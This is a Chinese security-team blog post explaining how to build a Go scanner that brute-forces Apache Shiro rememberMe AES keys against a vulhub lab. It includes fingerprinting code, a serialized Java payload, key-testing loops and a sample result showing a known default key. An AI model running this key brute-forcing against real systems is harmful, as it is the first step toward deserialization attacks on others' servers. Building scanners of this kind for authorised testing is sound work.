Apache-Shiro可用key检测

雷神众测

共 6911字,需浏览 14分钟

 ·

2022-08-24 17:18

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

由于目前的nuclei无法对payload进行复杂的加密操作,虽然nuclei官方正在推进能使用高级脚本编写验证漏洞,但是目前看来离合并还是遥遥无期,所以对于爆破apache-shiro的key这种复杂的请求需要单独开发工具检查。


检测原理


1、参考一种另类的 shiro 检测方式,简单来说就是:key正确情况下响应报文中的set-cookie不返回 deleteMe ,key错误情况下响应报文中的set-cookie返回 deleteMe

2、所以逻辑应该是在发送请求头带上下面信息,响应报文中有响应中的set-cookie返回 deleteMe的前提先下做判断的,避免不是apache-shiro的组件也识别到有漏洞存在。

"Cookie":"rememberMe=admin;rememberMe-K=admin""Content-Type":"text/xml"

3、在确保是apache-shiro组件后,再根据各个key加密生成的设置到cookie中rememberMe值上,再次请求,如果响应报文中的set-cookie不返回 deleteMe,说明漏洞存在。



环境搭建


1、直接使用vulhub中的漏洞环境即可

docker run --rm -p 8080:8080 vulhub/shiro:1.2.4

2、打开http://127.0.0.1:8080,即可看到登录界面



代码编写

判断是否为apache-shiro组件

虽然前面会先给目标做指纹识别操作,但是可能会存在由关键词识别的误报,所以在验证可用Key之前要先判断是否是apache-shiro,防止目标不是一个apache-shiro组件,就算带上加密后的cookie请求也是没有返回deleteMe,这样就会误报可用的key。

// 检查是POST还是GETfunc CheckIsShiroMethod(host string) string {  hh := Base.NewHttpClient()  header := make(map[string]string, 0)  header["Content-Type"] = "text/xml"  header["Cookie"] = "rememberMe=admin;rememberMe-K=admin"  for _, m := range []string{"POST", "GET"} {    resp, err := hh.SendRequest(m, host, nil, header, nil)    if err != nil {      return ""    }    if resp != nil {      resp.Body.Close()    }    if strings.Contains(resp.Header.Get("Set-Cookie"), "=deleteMe") {      return m    }  }  return ""}

在真实环境中有遇到POST请求或者GET请求才会返回rememberMe关键字,所以上面的代码在识别目标的同时还返回请求方式,在后面爆破Key的时候就只用这个请求方式。


cookie中rememberMe的生成

shiro_simple_principal_collection可以从apache-shiro的开源利用工具中生成再扣下来,这里我使用我写的ysoserial_rs生成的序列化数据。

➜  ~ ./ysoserial_amd64 -p shiro_spc -f hex                                           aced0005737200326f72672e6170616368652e736869726f2e7375626a6563742e53696d706c655072696e636970616c436f6c6c656374696f6ea87f5825c6a3084a0300014c000f7265616c6d5072696e636970616c7374000f4c6a6176612f7574696c2f4d61703b78707077010078

十六进制转go的byte数组写为常量就可以了。

shiro_spc = []byte{0xac, 0xed, 0x0, 0x5, 0x73, 0x72, 0x0, 0x32, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2e, 0x73, 0x68, 0x69, 0x72, 0x6f, 0x2e, 0x73, 0x75, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x2e, 0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x50, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0xa8, 0x7f, 0x58, 0x25, 0xc6, 0xa3, 0x8, 0x4a, 0x3, 0x0, 0x1, 0x4c, 0x0, 0xf, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x50, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x73, 0x74, 0x0, 0xf, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69, 0x6c, 0x2f, 0x4d, 0x61, 0x70, 0x3b, 0x78, 0x70, 0x70, 0x77, 0x1, 0x0, 0x78}

在加密时提供可选参数AES加密模式,CBC或者GCM。

for _, m := range []string{"CBC", "GCM"} {    for i := range payloads {      remember_me_coockie := RememberMe(payloads[i], m)      header := make(map[string]string, 0)      header["Content-Type"] = "text/xml"      header["Cookie"] = "rememberMe=" + remember_me_coockie      header["User-Agent"] = Base.DefaultUserAgent      resp, _ := h.SendRequest(method, host, nil, header, nil)      if resp != nil {        resp.Body.Close()      }      if !strings.Contains(resp.Header.Get("Set-Cookie"), "=deleteMe") {        meta := map[string]interface{}{"key": payloads[i], "mode": m}        Base.MakeNucleiResult(&ResultEvent, resp, meta)        return ResultEvent      }    }  }


将go的response转为nuclei的ResultEvent

首先自定义Info的信息,兼容nuclei数据结构。

ResultEvent := output.ResultEvent{    TemplateID:    "apache-shiro-key",    Type:          "http",    Timestamp:     time.Now(),    MatcherStatus: false,    Info: model.Info{Name: "ApacheShiro可用Key",      SeverityHolder: severity.Holder{Severity: severity.Critical},      Authors:        stringslice.StringSlice{Value: []string{"cn-kali-team"}},      Tags:           stringslice.StringSlice{Value: []string{"apache-shiro"}},      Reference:      stringslice.StringSlice{Value: []string{}},    },    Host: host,  }

meta信息,也就是爆破出来的key和加密模式添加到Metadata,这样就可以在nuclei的结果中获取结果并且展示。

package Base
import ( "net/http" "net/http/httputil"
"github.com/projectdiscovery/nuclei/v2/pkg/output" "moul.io/http2curl")
func MakeNucleiResult(ResultEvent *output.ResultEvent, resp *http.Response, meta map[string]interface{}) { command, _ := http2curl.GetCurlCommand(resp.Request) ResultEvent.CURLCommand = command.String() dump_request, _ := httputil.DumpRequest(resp.Request, true) dump_response, _ := httputil.DumpResponse(resp.Request.Response, true) ResultEvent.Request = string(dump_request) ResultEvent.Response = string(dump_response) ResultEvent.MatcherStatus = true ResultEvent.Metadata = meta ResultEvent.Matched = resp.Request.URL.String() ResultEvent.Lines = []int{} ResultEvent.IP = resp.Request.URL.Hostname()}

结果要转为json的话,漏洞等级这里需要用到自定义序列化,所以要使用jsoniter这个库实现,最后得到的json为:

{    "template-id": "apache-shiro-key",    "info": {        "name": "ApacheShiro可用Key",        "author": [            "cn-kali-team"        ],        "tags": [            "apache-shiro"        ],        "reference": [],        "severity": "critical"    },    "type": "http",    "host": "http://127.0.0.1:8080",    "matched-at": "http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F",    "request": "GET /login;jsessionid=96DB54118C3AD9AE431629A46DB4291F HTTP/0.0\r\nHost: 127.0.0.1:8080\r\nContent-Type: text/xml\r\nCookie: rememberMe=ztWoBlfxzv6vbA8ItcE4qpxrz3t8pCmarvebhauhXyxcLurOHoCCkM2TNfljEtxR3BmW3gL+OkwnvJjHCpS8S//FFQ2VcdiXbzKUGrOBHgpADIBDPQzjam34m9G40hOFkC995grt0wmTm5Lj6F5CqEmtA1/gJDL561R9cKhQVznUlwqyXTh/gZFSSTiJ6m/D\r\nReferer: http://127.0.0.1:8080\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\r\n\r\n",    "response": "HTTP/1.1 302 \r\nConnection: close\r\nContent-Length: 0\r\nDate: Mon, 15 Aug 2022 09:57:11 GMT\r\nLocation: http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F\r\nSet-Cookie: JSESSIONID=96DB54118C3AD9AE431629A46DB4291F; Path=/; HttpOnly\r\n\r\n",    "meta": {        "key": "kPH+bIxk5D2deZiIxcaaaA==",        "mode": "CBC"    },    "ip": "127.0.0.1",    "timestamp": "2022-08-15T17:57:11.598443866+08:00",    "curl-command": "curl -X 'GET' -H 'Content-Type: text/xml' -H 'Cookie: rememberMe=ztWoBlfxzv6vbA8ItcE4qpxrz3t8pCmarvebhauhXyxcLurOHoCCkM2TNfljEtxR3BmW3gL+OkwnvJjHCpS8S//FFQ2VcdiXbzKUGrOBHgpADIBDPQzjam34m9G40hOFkC995grt0wmTm5Lj6F5CqEmtA1/gJDL561R9cKhQVznUlwqyXTh/gZFSSTiJ6m/D' -H 'Referer: http://127.0.0.1:8080' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36' 'http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F'",    "matcher-status": true,    "matched-line": []}


参考


https://github.com/emo-cat/ysoserial_rs

https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ


安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


浏览 70
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报